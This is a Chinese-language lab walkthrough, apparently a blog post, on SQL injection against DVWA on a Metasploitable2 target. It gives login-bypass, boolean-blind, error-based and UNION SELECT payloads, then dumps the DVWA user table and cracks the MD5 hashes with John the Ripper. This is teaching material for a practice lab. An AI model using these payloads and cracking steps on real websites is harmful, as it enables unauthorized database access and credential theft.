SQL注入

目录

SQL注入原理理解

基于bool的检测

基于bool的盲注

基于报错

利用sql注入漏洞,爆破用户名和密码

实验环境

kali-linux-2021、靶机Metasploitable2-Linux

kaliIP地址:192.168.1.100

靶机IP地址:192.168.1.8

实验过程

SQL注入原理理解

一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。

打开DVWA页面,登录,然后修改DVWA Security等级为Low点击submit。

网页登录:192.168.1.8

用户名:admin

密码:password

然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码

基于bool的盲注

注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length()  返回长度,ascii() 返回ASCII值,substr(string,a,b)  返回string以a开头  长度为b的字符串,count()   返回数量。

当我们猜测当前的数据库名长度是否大于5,输入1' and length(database())>5#,没有返回任何参数,说明数据库名长度小于5

当输入1' and length(database())>3#,返回了数值,说明数据库名长度在大于3小于5

判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,一词判断98、99、100

当测试到100时,则没有返回ASCLL值,所以确定ASCLL为100,对应字符:d

然后接着判断数据库第二个字符ASCLL是否大于97:1'and (ascii(substr(database(),2,1)))>97#

最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa

基于bool的检测

输入:1' and '1' = '1

不仅没有报错,还返回了数据说明有漏洞,我们可以根据返回的数据格式推测执行的SQL语言为

selece first-name,surname from user where id='   '

selece first-name,surname from user where id=' 1 ' and '1' = '1  '

and逻辑:前面为‘1’ 为真,后面 ‘1’ = ‘1 ’ 也为真。则整体为真。

我们实际可以把’ 1 ’ and ‘1’ = ‘1 ’ 替换为1(真)‘

所以上面上当与执行了

selece first-name,surname from user where id=’ 1 ’

基于报错

将安全等级调为low

输入一个单引号

返回如下

返回了错误,说明我们的单引号在数据库里面执行了,那么确认有SQL注入漏洞

利用sql注入漏洞,爆破用户名和密码

user()函数:查询当前数据库用户

输入1’ union select user(), 2-- 注意:不要忘了--后有空格,否则语法错误

@@datadir 获得DBMS路径

输入‘ union select user(), @@datadir-- 注意:不要忘了--后有空格,否则语法错误

@@hostname-- 获得主机名

输入' union select user(),@@hostname-- 注意:不要忘了--后有空格,否则语法错误

@@VERSION-- 获得数据库版本号

输入:' union select user(),@@version_compile_os-- 注意:不要忘了--后有空格,否则语法错误

database() 查询当前数据库名

char() :将数字转换为ASCII码

输入:’ union select user(),char(66)-- 注意:不要忘了--后有空格,否则语法错误

CONCAT_WS()将括号里面的所有内容作为一个字段

输入:’ union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ,null-- 注意:不要忘了--后有空格,否则语法错误

md5():计算括号里面数字的hash

substring_index()

输入:' union select database(),substring_index(USER(),"@",1)-- 注意:不要忘了--后有空格,否则语法错误

查询user列和passwd列内容

输入:' union select user,password from dvwa.users-- 注意:不要忘了--后有空格,否则语法错误

用户名                              密码

admin          5f4dcc3b5aa765d61d8327deb882cf99

gordonb       e99a18c428cb38d5f260853678922e03

1337            8d3533d75ae2c3966d7e0d4fcc69216b

pablo           0d107d09f5bbe40cade3de5c71e9e9b7

smithy         5f4dcc3b5aa765d61d8327deb882cf99

 kali中操作

kali里面自带密码破解工具hash-identifier

在HASH:输入密码

 保存成txt文件,格式必须为 用户名:密码hash 放入 xxx.txt

这里我做的时候出现一个小错误,把dvwa-user-password.txt文件中pablo的密码写错了,因为好像不能直接复制粘贴,只能用手打

 john --format=raw-MD5 dvwa-user-password.txt

这里应该是四行,因为上面输错的原因,所以只返回三行,过程不变

john --format=raw-MD5 dvwa-user-password.txt --show

用户名:admin 密码:password

用户名:gordonb 密码:abc123

用户名:pablo 密码:letmein

用户名:smithy 密码:password

用户名:1337 密码:charley

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值